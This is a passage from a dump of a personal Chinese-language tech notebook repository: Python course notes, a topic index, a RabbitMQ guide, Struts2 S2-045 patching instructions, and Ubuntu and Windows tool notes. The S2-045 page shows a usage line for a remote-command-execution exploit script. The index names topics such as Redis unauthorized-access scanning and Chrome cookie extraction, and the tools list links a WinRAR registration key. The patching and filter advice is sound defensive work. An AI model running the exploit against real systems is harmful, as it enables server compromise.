测试**\r\n\r\n```\r\n>>> import math\r\n>>> def isPrime(n):\r\n...     if n==1:\r\n...         return False\r\n...     if n == 2:\r\n...         return True\r\n...     for i in range(2, int(math.sqrt(n)+1)):\r\n...         if n%i==0:\r\n...             return False\r\n...     return True\r\n...\r\n>>> isPrime(1)\r\nFalse\r\n>>> isPrime(2)\r\nTrue\r\n>>> isPrime(3)\r\nTrue\r\n>>> isPrime(4)\r\nFalse\r\n>>> isPrime(5)\r\nTrue\r\n>>> isPrime(6)\r\nFalse\r\n>>> isPrime(101)\r\nTrue\r\n>>> isPrime(100)\r\nFalse\r\n```\r\n\r\n\r\n## 运行超时怎么破？\r\n\r\n### 记住判断素数可以开根号啊！\r\n\r\n不要从2到n-1，根号n就行了\r\n\r\n### 题目给的上界一定会有测试点\r\n\r\n验证哥德巴赫猜想一题 \r\n\r\n题目说 输入在一行中给出一个(2, 2 000 000 000]范围内的偶数N。\r\n\r\n哇 好多0，数一数这是20亿啊，放一个这么大的上界在这里干啥啊？只是好看嘛？\r\n\r\n肯定是有一个测试点会输入这个20亿，你自己本地测试你的代码就一定要试试\r\n\r\n然后就发现你的程序好久没反应，就应该优化了\r\n\r\n### 想想怎么简化计算\r\n\r\n还是哥德巴赫猜想这个题目，你觉得需要求出小于N的所有素数嘛？然后在这个素数数组里求求和？\r\n\r\n当然这个方法没错，只是太慢了，要求出20亿以内的所有素数，这个太贵了（太耗时了，时间就是金钱啊）\r\n\r\n我们的目标只是给出一个N=p+q就行，只要从2开始找素数p，然后验证N-p也是素数即可\r\n\r\n## Python Homework Review\r\n\r\n[PDF下载](/assets/pdf/Python HW Review.pdf)\r\n\r\n提纲：\r\n\r\n- Python和C语言不同的地方\r\n- 程序输出啥？把自己当成Python解释器 写草稿\r\n- 局部变量 函数里被赋值了的就是局部变量\r\n- 对齐 {0:T^20} 用T补齐20位 居中\r\n\r\n编程题考试技巧：\r\n\r\n- 一步步写，写一点就侧一点\r\n- 内置函数熟练掌握 如sum\r\n- 注意空格 不要浪费时间在格式错误上\r\n- 仔细读题 一遍不行多读几遍\r\n- 看看上界（一般用不着）\r\n- 提取出函数，降低思维负担\r\n- 递归函数怎么写？想清楚 参数 返回值 的含义\r\n- 实在搞不定？别放弃，骗分！\r\n\r\n需要记住点啥？\r\n\r\n- 类型：input()返回的是字符串，用int, float转换；用isinstance判断类型；哪些是False\r\n- 数字：除以0的异常，进制转换，判断素数，格式化输出，优先级\r\n- 字符串：len，upper，lower，strip，split，join\r\n- 列表：append，index，sorted(key=lambda i:-i)，数组的数组，分片，`[::-1]`，列表推导式\r\n- 字典：keys，items，update\r\n- 循环：range，for i in ...，while ...，变量初始化\r\n- 函数：传递一个列表？（引用传递）局部变量，全局变量\r\n- tuple；set；文件；类"
  },
  {
    "path": "README.md",
    "content": "# zjuchenyuan's Notebook\n\nMy notebook about technology, for lookup and share\n\n查看内容 请点击Topic标题（如[Docker](Docker.md)）进入页面后使用右侧目录定位\n\n评论请使用: [Github Issue](https://github.com/zjuchenyuan/notebook/issues/1)\n\n[查看最近的更新](https://github.com/zjuchenyuan/notebook/commit/HEAD)\n\n## [Python](Python.md)\n>* [语言勾勒QuickStart](https://py3.io/doc/python/quickstart.html)\n>* 安装pip\n>* 设置pip源\n>* requests使用多IP请求\n>* [Python多线程模板](code/MultiThread_Template.py)\n>* http.server（BaseHTTPServer）并发性改善 不必修改库文件\n>* 中文输出乱码问题解决\n>* pycodestyle检查代码风格\n>* 生成随机字符串\n>* 别对大的list循环使用in，应该改用set\n>* 解决Python.h: No such file or directory\n>* 二进制字符串转普通字符串\n>* 十六进制字符串转bytes字符串\n>* 用requests进行post\n>* 符号数与无符号数转换\n>* 使用signal.SIGALRM在限定时间后退出进程\n>* 捕捉用户的Ctrl+C\n>* 使用signal.SIGALRM实现定时器\n>* 使用pdb进行调试\n>* 使用Python开发阿里云函数计算后端服务\n>* 修复gbk编码的文件名\n>* Crack RSA! 破解短长度密钥的RSA加密\n>* 时间戳与字符串相互转换\n>* 用redis存储字典\n>* python selenium+Docker chrome headless爬复杂网页\n>* python transmissionrpc 上传种子 获取状态 增加tracker 修改torrent文件中的tracker\n>* uwsgi优雅重启\n>* Python3.5 open打开文件默认使用utf-8\n>* 使用sentry\n>* 解决命令行执行py文件没有sys.argv的问题\n>* Python获取Windows Chrome的Cookie\n>* Win开发摆脱每次都要写的encoding=utf-8\n>* Ubuntu16.04安装Python3.7\n>* Python使用MongoDB 增删查改 批量覆盖插入 多表join 随机采样\n\n## [Python程序设计课程](PythonCourse.md)\n\n作业的常见错误，期末复习\n\n## [gist Python一些常用的代码片段](gist.md)\n>* 连接mysql插入、查询\n>* 大小写不敏感字典\n>* print的时候顺带带上时间\n>* mpms多线程下每个线程单独变量\n>* 使用AES加密字符串 pyaes库\n\n## [BASH](BASH.md)\n>* 在bash脚本中使用alias\n>* 判断命令行参数是否为空\n>* for循环\n>* 判断命令、文件是否存在\n>* rsync移动远程目录特定文件至本机后循环操作\n\n## [BAT 批处理](BAT.md)\n>* 快速打开cmd\n>* 并列语句语法\n>* 循环for\n>* 结束进程taskkill\n>* 内存整理free\n>* 睡一会SleepX\n>* 判断文件夹存在\n>* 创建硬链接mklink或者fsutil hardlink create\n>* 端口转发\n>* [保持RVPN不断开](code/RVPNKeepAlive.bat)\n>* vpn静态路由配置\n>* 进入休眠\n>* 快速进入系统代理设置，不用打开IE\n>* 在普通权限cmd中获得更高权限\n>* 命令行配置IP\n>* 命令行使用VeraCrypt\n>* 命令行临时关闭Windows Defender\n>* 命令行增加Windows防火墙规则阻断IP\n\n## [Bitcoin](Bitcoin.md)\n>* 期货永续合约介绍\n>* 永续合约资金费率套利 实时收益率\n\n## [C 语言](C.md)\n>* 关于Dev C++\n>* 输入的问题，建议用gets和sscanf\n>* C++用sstream代替sprintf\n>* g++省略拷贝构造函数的问题\n>* [数据结构]树的遍历\n>* 对一个const的vector使用迭代器要用const_iterator\n>* 小心未初始化的变量\n>* 获取文件大小\n>* 题目解析 (结构指针、结构数组...)\n\n## [CDN](CDN.md)\n>* ·UPYUN 又拍云\n>*    管理文件可以用FTP，UpyunManager，Upx\n>*    python规则刷新，python调用官方API进行URL刷新\n>*    使用upyun提供的webp功能节省流量\n>*    使用边缘规则修复改版导致的404问题\n>*    使用边缘规则实现upyun TOKEN反盗链功能\n>*    https证书更新的自动化脚本\n>*    表单上传bash快速调用\n>* ·Qiniu 七牛\n>*    使用qshell上传文件夹\n>* 本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\n>* UPYUN省钱方案：缓存61秒 变为静态请求 \n\n## [cURL](cURL.md)\n>* 模拟浏览器请求\n>* 基本教程\n>* 还可以循环哟\n>* wget在0b/s时自动重连\n\n## [Developer](Developer.md)\n>* 保持技术精进\n>* 如何明智地向程序员提问\n>* 使用chrome缓存找到被删的qq空间的图片\n>* 为什么我喜欢写博客？\n>* 支持被at的(outgoing)钉钉机器人\n>* Go语言-安装 安装缺失库\n\n## [Docker](Docker.md)\n>* myubuntu 基础镜像\n>* 安装\n>* 加速镜像下载\n>* 旧版本卸载\n>* 获得容器的ip\n>* 导入导出容器\n>* 解决iptables failed问题\n>* 迁移Docker文件夹到其他硬盘\n>* 解决debian等容器没有ifconfig的问题\n>* 设置容器低权限用户运行\n>* 设置容器/etc/resolv.conf和/etc/hosts\n>* 容器限制参数设置\n>* 快速部署ftp\n>* 快速部署wordpress\n>* Dockerfile 中的 apt-get 静默执行\n>* 让Docker容器得到内网IP\n>* 使用iptables端口转发让Docker容器得到内网IP\n>* 快速部署samba\n>* [CTF]按需分配容器 过期自动销毁\n>* 在容器A中使用别名访问容器B\n>* 修复Docker更新到18.02后部分容器无法start的问题\n>* 解决docker exec -it进入容器屏幕大小不对的问题\n>* 启动另一个Docker Daemon进程\n>* 配置使用Docker版本的Gitlab CI\n>* 为已经存在的容器创建临时端口映射 socat\n>* 运行中的容器添加目录挂载\n>* Docker使用32位镜像\n>* 修改Docker底层文件修改macvlan变更网段\n>* 获取2个月前退出的容器列表，以空格分隔\n>* nsenter进入容器检查网络\n>* 从/var/lib/docker提取容器开始时间\n>* 固定容器的IP\n>* Docker容器禁止主动联网 但对外提供web服务\n>* 私有registry的api\n\n## [ETH](ETH.md)\n>* 获取测试网络ropsten的ETH\n>* 生成一堆与MetaMask兼容的地址\n>* Python发起交易(Web3.py)\n>* 地址交易查询API\n\n## [Favorites](Favorites.md)\n>* Intel i386 手册 及 勘误\n>* ASCII字符图案生成\n>* 解释Shell命令每个参数\n>* 安全会议的排名 建议读的论文\n>* [More Links](Links.md)\n>* Git Emoji\n\n## [Flask](Flask.md)\n>* 应用根目录APP_ROOT\n>* render_template引入所有全局变量+局部变量\n>* 添加多个静态目录\n>* 判断是否手机访问 g.isphone\n>* request怎么拿到url的各个部分\n>* 遇到性能瓶颈做profiling看函数耗时\n>* lazyload 延迟加载耗时的初始化操作\n>* 让app.run启动的服务器使用HTTP/1.1\n>* 让render_template直接能使用当前所有变量\n\n## Fuzzing\n\n### [DataFlow Sanitizer](dfsan.md)\n>* Compiling Exiv2 with DFSan (including compile libcxx)\n\n## [Git](Git.md)\n>* 立即使用\n>* git clone加速 --depth 1\n>* [git push加速](code/ssgit.txt)\n>* git push免密码\n>* bash工作环境(别名,自动完成,dirty提示)设置\n>* 好玩的命令们\n>* gitignore负向选择\n>* 补上commit漏掉的文件 --amend\n>* 密码泄露查作者 blame\n>* 文件一次性改太多了，拆成多次提交 add -p\n>* 本地忽略一些个人的修改\n>* 本地创建branch后push操作git push -u\n>* 用gpg给git提交签名\n>* 使用GitLab API存储数据备份文件 不占用本地空间\n>* GitHub不同仓库使用不同ssh key\n>* 备份GitHub上自己star过的仓库\n\n## [Github Project Recommendation](GithubProjectRecommendation.md)\n>* 视频下载you-get\n>* 记忆手段Anki\n>* 在线评测OnlineJudge\n>* Python也能用来解方程sympy\n>* 让网站链接秒开InstantClick\n\n## [Java](Java.md)\n>* 一些Java与C++的不同之处\n>* 异常处理中的资源释放问题\n>* JVM启动时的内存参数\n>* [修复Struts2的S2-045漏洞](S2-045.md)\n\n## [JavaScript](JavaScript.md)\n>* 使用本地存储localStorage\n>* [随机字符串生成](http://py3.io/p.html)\n>* 异常\n>* 使用phantomjs爬取网页\n>* jQuery绑定\"变为可见\"事件\n>* 读取GET参数\n>* 使用 Github Issue 作为博客评论区\n>* history.replaceState修改历史记录\n>* 记住一个checkbox的状态\n>* 使用InstantClick踩坑\n>* 用原生Javascript操作DOM节点\n>* 劫持动态图片加载 修改src属性\n>* 保持特定元素相对于窗口的位置不变\n>* Tampermonkey自动填充用户名密码表单，并通过前端的表单检查\n>* 使用browserify将npm包打包成浏览器能用的js文件\n\n## [Jekyll](Jekyll.md)\n>* 碰到过的坑\n>* 配置代码高亮并显示行号\n>* 解决Github Metadata Warning\n>* 安装Jekyll\n\n## [Linux-setup](Linux-setup.md)\n>* [网络加速privoxy](code/ssprivoxy.txt)\n>* 配置有线静态IP\n>* 使用ifconfig修改ip后记得要重新配route\n>* 配置apt源以加速国内环境下apt速度\n>* 单网卡获得多个IP\n>* 锐速安装\n>* 解决apt依赖问题\n>* UnixBench性能评测\n>* 清除内存缓存\n>* 使用iptables封ip\n>* iptables只允许特定IP访问某端口\n>* 无root权限使用screen\n>* screen的用法\n>* 两条iptables实现端口转发，暴露内网端口\n>* 保护重要系统文件防止被删chattr +i\n>* 时区设置\n>* 查看CPU核心个数\n>* 非交互式添加用户\n>* 简单OpenVPN配置\n>* 时区时间设置\n>* 快速地格式化大分区ext4\n>* 明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\n>* 扩容上述单文件btrfs磁盘 /dev/loop0扩容\n>* 安全地拔出移动硬盘\n>* 挂载多个vmdk中的LVM分区\n>* 启用rc.local\n\n## [Linux-SSH](Linux-SSH.md)\n>* 客户端不同服务器使用不同的id_rsa\n>* 换个端口开启一个临时的sshd\n>* ssh反向代理\n>* 启用SSH密钥登录后两步验证\n>* ssh登录禁用默认的信息显示 Ubuntu\n\n## [Linux-cli](Linux-cli.md)\n>* 查看内置命令的帮助\n>* grep搜索帮助文档\n>* 帮助文本的grep 用2>&1\n>* 各种解压命令\n>* 当前目录文件全文搜索\n>* 统计当前文件夹代码行数\n>* 查看给定文件列表的文件大小\n>* wget慢慢下载\n>* touch修改时间戳\n>* 去掉Ubuntu默认情况下ls的颜色\n>* 换行方式修改\n>* iodine--使用DNS传输数据\n>* 远程控制Windows\n>* 统计以特定字符串开头的文件数目\n>* hexdump查看字符内部编码\n>* 子目录大小排序\n>* 安装ffmpeg\n>* 修改readonly的变量\n>* 永久等待 sleep infinity\n>* zmap扫描整个网段特定开放端口\n>* 对ip列表批量测试redis未授权漏洞\n>* 使用ImageMagick对图像进行裁剪\n>* 查找0字节的文件并删除\n>* 用vim去除\\r换行符 :set ff=unix\n>* watch持续观察命令输出\n>* 树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译\n>* scp目录断点续传\n>* 使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\n>* 清除已经断开的sshd进程\n>* 批量替换文本\n>* 从二进制文件中提取片段\n>* redis匹配前缀删除大量键值\n>* 批量替换子目录特定后缀名文件内容\n>* coredump in fuzzing\n>* bash对文件乱序遍历\n>* grep正则提取特定内容\n>* 自动kill大内存的进程\n>* screen自动操作以及获取当前屏幕内容\n>* gdb自动化\n>* mktorrent制作种子torrent文件\n\n## [Linux-backup](Linux-backup.md)\n>* 一个良好安全的备份计划至关重要\n>* 用rsync代替scp\n>* 使用rsync像time machine一样全盘备份\n>* rsync备份安卓手机\n\n## [MySQL](MySQL.md)\n>* 查看表结构 desc\n>* MERGE存储引擎\n>* 删除表的冗余\n>* 修改表 alter table\n>* [将中文转为拼音的函数](code/pinyin.sql)\n>* 从路径URL获取文件名称\n>* 查询优化--explain发现出现了using filesort；内存表索引的选择\n>* 内存表The table is full的解决\n>* replace函数替换文本\n>* 简单的split功能，文本转数字\n>* mysqld配置参数调优\n>* 支持emoji，从utf8升级到utf8mb4\n>* 解决 Too many open files 错误\n>* 解决ubuntu16.04上mysql被apt upgrade自动关闭的问题\n>* NULL转0\n>* 给MySQL增加一个slave做主从复制\n\n## [Nginx](Nginx.md)\n>* Nginx思考题\n>* 普通资源允许POST\n>* 不带后缀的文件当成php执行\n>* 获得Let's encrypt免费https证书\n>* 使用acme.sh获得泛域名证书\n>* 配置安全的https\n>* 反向代理之替换网页、JS中的文本\n>* root与alias的区别\n>* 在bash on win10上使用Nginx\n>* Nginx允许列目录\n>* 安全地使用SeaweedFS作为图片反向代理服务器: 多上游切换，SeaweedFS Docker部署\n>* proxy_pass 动态代理\n>* 使用阿里云函数计算定时更新https证书\n>* 使用nfs存储Nginx日志\n\n## [PHP](PHP.md)\n>* 显示错误信息\n>* 全页面iframe\n\n## [RabbitMQ](RabbitMQ.md)\n>* 使用Docker部署\n>* 任务推送执行 代码示例\n\n## [Ubuntu桌面版](Ubuntu.md)\n>* 安装Google拼音后用上云候选功能\n\n## [VirtualBox](Linux-VirtualBox.md)\n>* 下载安装，一定记得安装额外包\n>* 创建虚拟机，设置虚拟机选项\n>* 启动虚拟机\n>* 远程控制虚拟机\n\n## [WinSoftware](WindowsSoftware.md)\n>* Emeditor\n>* Everything\n>* Sysinternals Utilities\n>* CLOC代码统计利器\n>* U盘安装原版系统盘\n>* WinRAR\n>* BurpSuite\n>* BEncode Editor\n>* Win10 Windows照片查看器\n\n"
  },
  {
    "path": "RabbitMQ.md",
    "content": "# RabbitMQ 消息队列\r\n\r\n## Docker部署\r\n\r\n* 必须设置主机名 --hostname\r\n* 数据卷映射\r\n* 使用macvlan分配IP\r\n* 配置用户密码\r\n\r\n配置用户密码必须要求数据文件夹为空，否则不会生效\r\n\r\n```\r\nrm -rf /docker/rabbitmq/\r\n\r\ndocker run -d --hostname rabbit --name rmq -v /docker/rabbitmq/:/var/lib/rabbitmq --network macvlan_bridge --ip 192.168.1.18 --dns 192.168.1.1 -e RABBITMQ_DEFAULT_USER=user -e RABBITMQ_DEFAULT_PASS=password rabbitmq\r\n```\r\n\r\n## 消费者竞争的任务推送执行\r\n\r\n例如发送参数1,2到消费者执行`add(a,b)`函数，每个消费者最多接受一个任务\r\n\r\n### config.py 配置信息\r\n\r\n与上述docker启动时配置的一致\r\n```\r\nRMQ_HOST = \"192.168.1.18\"\r\nRMQ_PORT = 5672\r\nRMQ_USER = \"user\"\r\nRMQ_PASSWORD = \"password\"\r\n```\r\n\r\n### task.py 发送任务\r\n\r\n```\r\n#!/usr/bin/env python\r\nimport pika\r\nimport sys\r\nimport json\r\nfrom config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD\r\nQUEUE_NAME = 'add_task_queue'\r\n\r\nparams = pika.ConnectionParameters(\r\n        host=RMQ_HOST, \r\n        port=RMQ_PORT, \r\n        credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)\r\n    )\r\nconnection = pika.BlockingConnection(params)\r\nchannel = connection.channel()\r\n\r\nchannel.queue_declare(queue=QUEUE_NAME, durable=True)\r\n\r\ndef queue_put(func_args): \r\n    #func_args:函数参数list\r\n    message = json.dumps(func_args)\r\n    return channel.basic_publish(exchange='',\r\n                          routing_key=QUEUE_NAME,\r\n                          body=message,\r\n                          properties=pika.BasicProperties(\r\n                             delivery_mode = 2, # make message persistent\r\n                          ))\r\n\r\nif __name__ == '__main__':\r\n    queue_put([1,2])\r\n    connection.close()\r\n```\r\n\r\n### 查看队列状态\r\n\r\n查看队列名称 准备发送的数量 没有ack的数量\r\n\r\n```\r\ndocker exec rmq rabbitmqctl list_queues name messages_ready messages_unacknowledged\r\n```\r\n\r\n### worker.py 执行任务\r\n\r\n```\r\n#!/usr/bin/env python\r\nimport pika\r\nimport time\r\nimport json\r\nfrom config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD\r\nQUEUE_NAME = 'add_task_queue'\r\n\r\nparams = pika.ConnectionParameters(\r\n        host=RMQ_HOST, \r\n        port=RMQ_PORT, \r\n        credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)\r\n    )\r\nconnection = pika.BlockingConnection(params)\r\nchannel = connection.channel()\r\n\r\nchannel.queue_declare(queue=QUEUE_NAME, durable=True)\r\nprint(' [*] Waiting for messages. To exit press CTRL+C')\r\n\r\ndef add(a, b):\r\n    return a+b\r\n\r\ndef save_result(args, result):\r\n    print(\"save_result for\", args, \":\", result)\r\n    pass # using mysql or whatever storage...\r\n\r\ndef callback(ch, method, properties, body):\r\n    print(\" [x] Received %r\" % body)\r\n    args = json.loads(body.decode())\r\n    result = add(*args)\r\n    save_result(args, result)\r\n    print(\" [x] Done\")\r\n    ch.basic_ack(delivery_tag = method.delivery_tag)\r\n\r\nchannel.basic_qos(prefetch_count=1)\r\nchannel.basic_consume(callback,\r\n                      queue=QUEUE_NAME)\r\n\r\nchannel.start_consuming()\r\n```\r\n\r\n代码来自官方教程： https://www.rabbitmq.com/tutorials/tutorial-two-python.html"
  },
  {
    "path": "S2-045.md",
    "content": "# 修复Struts2的S2-045漏洞\r\n\r\n\r\n## 漏洞简介\r\n\r\n最近批露，Apache Struts 2软件存在远程命令执行高危漏洞，Struts2官方已经确认该漏洞，漏洞编号为CVE-2017-5638，受影响的版本包括 Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10 。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令，对受影响站点造成严重影响，引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。\r\n\r\n目前，Struts 2软件作为网站开发的底层模板使用，特别是互动性较强的用于报名、注册、查询、留言的信息系统，我国内超过300万家政府网站及其子站使用了Struts框架。鉴于Struts 2应用广泛、黑客关注度较高、漏洞危害较大、攻击方式简单，一旦被别有用心人员利用，可能对我网络安全造成较大的危害和影响，建议各重要行业部门及时督促核查本部门、本行业、本辖区网站安全情况，及时堵塞漏洞，消除安全隐患，提高安全防范能力，并及时上报核查及整改情况。\r\n\r\n----\r\n\r\n## exp\r\n\r\n首先丢个exp，用于检验漏洞存在性：[exp.S2-045.py](code/exp.S2-045.py)\r\n\r\n使用方法示例：\r\n\r\n```\r\npython exp.S2-045.py http://example.com/example.action \"id\"\r\n```\r\n\r\n----\r\n\r\n## 解决过程\r\n\r\n翻遍了官网和各种新闻，没有切实可行的方案，下载地址只有存在漏洞的2.3.31的版本，漏洞修复方案都是简略的一句升级到2.3.32，某些播报平台&官方真是mdzz，到底是为了促进漏洞修补还是促进全网被黑？\r\n\r\n官方只是给了一个maven的配置方法，并没有直接可以下载的jar文件或zip包\r\n\r\n只能按照官方的方法用maven去尝试构建一个struts应用(快速装好maven的方法是买个香港的vps用docker pull maven)，总算发现了新版的jar包下载地址：\r\n\r\n[https://repo.maven.apache.org/maven2/org/apache/struts/](https://repo.maven.apache.org/maven2/org/apache/struts/)\r\n\r\n通过下载2.3.31核心包发现只有`struts2-core`是需要的。\r\n\r\n----\r\n\r\n# 通过升级jar包修复\r\n\r\n## 2.3.x版本修复方法\r\n\r\n下载2.3.32版本的jar文件\r\n\r\n[https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar](https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar)\r\n\r\n国内CDN下载地址: [https://d.py3.io/struts2-core-2.3.32.jar](https://d.py3.io/struts2-core-2.3.32.jar)\r\n\r\n假设服务器上用的是2.3.30版本，则`tomcat所在目录/webapps/应用名称/WEB-INF/lib`里面有一个`struts2-core-2.3.30.jar`\r\n\r\n修复方法就是①把上述文件删掉(自行备份)，②下载到的新版jar文件改名为同名文件，③上传替换，④重启tomcat即可\r\n\r\nTip: 替换后要保证旧版的jar文件不存在，例如移到上一级目录，不要把旧版本的jar改名留在lib目录下，否则将导致这个webapp无法启动\r\n\r\n## 2.5.x版本修复方法\r\n\r\n下载2.5.10.1版本的jar文件\r\n\r\n[https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar](https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar)\r\n\r\n国内CDN下载地址：[https://d.py3.io/struts2-core-2.5.10.1.jar](https://d.py3.io/struts2-core-2.5.10.1.jar)\r\n\r\n假设服务器上用的是2.5.10版本，则`tomcat所在目录/webapps/应用名称/WEB-INF/lib`里面有一个`struts2-core-2.5.10.jar`\r\n\r\n修复方法同上\r\n\r\n----\r\n\r\n# 通过增加Filter修复\r\n\r\n如果不方便替换jar包，可以通过本方法进行拦截攻击请求\r\n\r\n① 将以下SecurityFilter.java文件编译成SecurityFilter.class，注意编译之前设置项目的兼容性级别，选择服务器版本的jdk，复制到应用的WEB-INF/classes目录下。\r\n\r\n```java\r\nimport java.io.IOException;\r\nimport javax.servlet.Filter;\r\nimport javax.servlet.FilterChain;\r\nimport javax.servlet.FilterConfig;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.ServletRequest;\r\nimport javax.servlet.ServletResponse;\r\nimport javax.servlet.http.HttpServlet;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\n\r\n\r\npublic class SecurityFilter extends HttpServlet implements Filter {\r\n\r\n\tprivate static final long serialVersionUID = 1L;\r\n\t\r\n\t\r\n\tpublic final String www_url_encode= \"application/x-www-form-urlencoded\";\r\n\tpublic final String mul_data= \"multipart/form-data\";\r\n\tpublic final String txt_pla= \"text/plain\";\r\n\r\n\tpublic void doFilter(ServletRequest arg0, ServletResponse arg1,\r\n\t\t\tFilterChain arg2) throws IOException, ServletException {\r\n\r\n\t\tHttpServletRequest request = (HttpServletRequest) arg0;\r\n\t\tHttpServletResponse response = (HttpServletResponse) arg1;\r\n\t\t\r\n\t\tString contentType=request.getHeader(\"Content-Type\");\r\n\t\t\r\n\t\tif(contentType!=null&&!contentType.equals(\"\")&&!contentType.equalsIgnoreCase(www_url_encode)&&!contentType.equalsIgnoreCase(mul_data)&&!contentType.equalsIgnoreCase(txt_pla)){\r\n\t\t\tresponse.setContentType(\"text/html;charset=UTF-8\");\r\n\t\t\tresponse.getWriter().write(\"非法请求Content-Type！\");\r\n\t\t\treturn;\r\n\t\t}\r\n\t\targ2.doFilter(request, response);\r\n\t}\r\n\r\n\tpublic void init(FilterConfig arg0) throws ServletException {\r\n\t}\r\n}\r\n```\r\n\r\n假设服务器上的`java -version`告诉我们java的版本是1.7的，手里又没有当前网站的项目文件，需要这样进行编译：\r\n\r\neclipse新建一个工程，新建类复制以上代码，项目属性的`Java Build Path`中的`Libraries`添加tomcat中的`servlet-api.jar`，`Java Complier`页面中选择Complier compliance level为1.7\r\n\r\neclipse自动通过编译后，即可将此SecurityFilter.class文件传至服务器上的应用的WEB-INF/classes目录下。\r\n\r\n这里有我已经编译好的class文件：[1.6](https://d.py3.io/SecurityFilter_jdk1.6.class)  [1.7](https://d.py3.io/SecurityFilter_jdk1.7.class)  [1.8](https://d.py3.io/SecurityFilter_jdk1.8.class)\r\n\r\n② 将下面的代码加入WEB-INF/web.xml文件的第一个filter之前。\r\n\r\n操作之前请记得备份\r\n\r\n```\r\n<filter>\r\n    <filter-name>SecurityFilter</filter-name>\r\n    <filter-class>SecurityFilter</filter-class>\r\n</filter>\r\n<filter-mapping>\r\n    <filter-name>SecurityFilter</filter-name>\r\n    <url-pattern>/*</url-pattern>\r\n</filter-mapping>\r\n```\r\n\r\n如图所示\r\n\r\n![S2-045_filter.jpg](assets/img/S2-045_filter.jpg!/format/webp)\r\n\r\n③ 重启应用即可\r\n\r\n重启可以在tomcat的manager页面Reload应用，或者直接重启整个tomcat\r\n\r\n如果应用无法启动，在tomcat下有logs目录可以看到为啥出错\r\n\r\n### 测试效果\r\n\r\n![](assets/img/S2-045_filterresult.jpg)\r\n\r\n----\r\n\r\n期待一个更负责任的漏洞披露过程，期待一个更加安全的互联网\r\n\r\nAuthor: zjuchenyuan\r\n\r\nSource: [https://py3.io/S2-045.html](https://py3.io/S2-045.html)"
  },
  {
    "path": "Ubuntu.md",
    "content": "# Ubuntu桌面版使用\r\n\r\n使用ubuntu16.04桌面版的一些折腾\r\n\r\n\r\n## 安装Google拼音并配置代理\r\n\r\n安装请参考[这篇文章-ubuntu安装谷歌拼音输入法](https://www.linuxdashen.com/ubuntu%E5%AE%89%E8%A3%85%E8%B0%B7%E6%AD%8C%E6%8B%BC%E9%9F%B3%E8%BE%93%E5%85%A5%E6%B3%95%EF%BC%88fcitx%E8%BE%93%E5%85%A5%E6%B3%95%E6%A1%86%E6%9E%B6%EF%BC%89)\r\n\r\n其中在`im-config`切换为`fcitx`后，无需重启，只需要注销后再次登录即可（注销不会影响screen中的任务）\r\n\r\n安装后最为有用的云候选功能由于需要配置代理才能用，配置方法：\r\n打开一个terminal（建议启动一个screen），配置环境变量，然后重启fcitx：\r\n\r\n```\r\nexport http_proxy=\"http://127.0.0.1:8118\"\r\nexport https_proxy=\"http://127.0.0.1:8118\"\r\nfcitx -r\r\n```\r\n"
  },
  {
    "path": "WindowsSoftware.md",
    "content": "# Windows Software\r\n\r\n自己日常用到的一些工具咯\r\n\r\n\r\n----\r\n\r\n## Emeditor\r\n\r\nhttps://www.emeditor.com/\r\n\r\n下载：http://files.emeditor.com/emed64_16.3.1.exe\r\n\r\n打开超大文件，语法高亮，批处理替换等好用的功能\r\n\r\n\r\n## Everything\r\n\r\nhttps://www.voidtools.com/\r\n\r\n下载：https://www.voidtools.com/Everything-1.4.1.809b.x64.zip\r\n\r\n快速全盘搜索，不知道比windows自带的搜索快到哪里去了\r\n\r\n## **Sysinternals Utilities**\r\n\r\nhttps://technet.microsoft.com/en-us/sysinternals/bb545027\r\n\r\n[任务管理器](https://d.py3.io/procexp.exe) https://download.sysinternals.com/files/ProcessExplorer.zip\r\n\r\n## CLOC代码统计利器\r\n\r\n下载：https://github.com/AlDanial/cloc/releases/download/v1.70/cloc-1.70.exe\r\n\r\nCloc是一款使用Perl语言开发的开源代码统计工具，支持多平台使用、多语言识别，能够计算指定目标文件或文件夹中的文件数(files)、空白行数(blank)、注释行数(comment)和代码行数(code)。\r\n\r\n## MenuMgr 右键菜单管理\r\n\r\n还右键菜单一份清净\r\n\r\n[MenuMgr](https://d.py3.io/MenuMgr.exe)\r\n\r\n## 文件夹背景右键添加bash\r\n\r\n发现自己经常需要在当前路径下打开bash，之前我都是在地址栏输入bash回车 但这样的副作用是不能再方便地复制当前路径了\r\n\r\n现在我将bash添加到右键菜单 只需鼠标点击两次即可打开bash\r\n\r\nregedit定位到\r\n\r\n```\r\n计算机\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Directory\\background\\shell\\\r\n```\r\n\r\n新建项bash 再在bash中新建项command 修改command的默认为`bash`\r\n\r\n顺带可以把在此处打开命令窗口给显示出来：同一个文件夹里面有个cmd 但还有一些其他项 删掉即可\r\n\r\n如果修改注册表没有权限，右键改权限 先改所有者再对everyone允许完全控制即可\r\n## 软媒U盘启动盘制作\r\n\r\n[usbbooter.exe](https://d.py3.io/usbbooter.exe)\r\n\r\n## WinRAR\r\n\r\n压缩解压缩，我只用WinRAR和7zip\r\n\r\n[winrar.exe](https://d.py3.io/winrar.exe)\r\n\r\n[winrar32bit.exe](https://d.py3.io/winrar32bit.exe)\r\n\r\n[rarreg.key](https://d.py3.io/rarreg.key)\r\n\r\n## BurpSuite\r\n\r\n发现app的漏洞啥的，还是挺有用的~\r\n\r\n[burpsuite v1.7.11.zip](https://d.py3.io/burpsuite 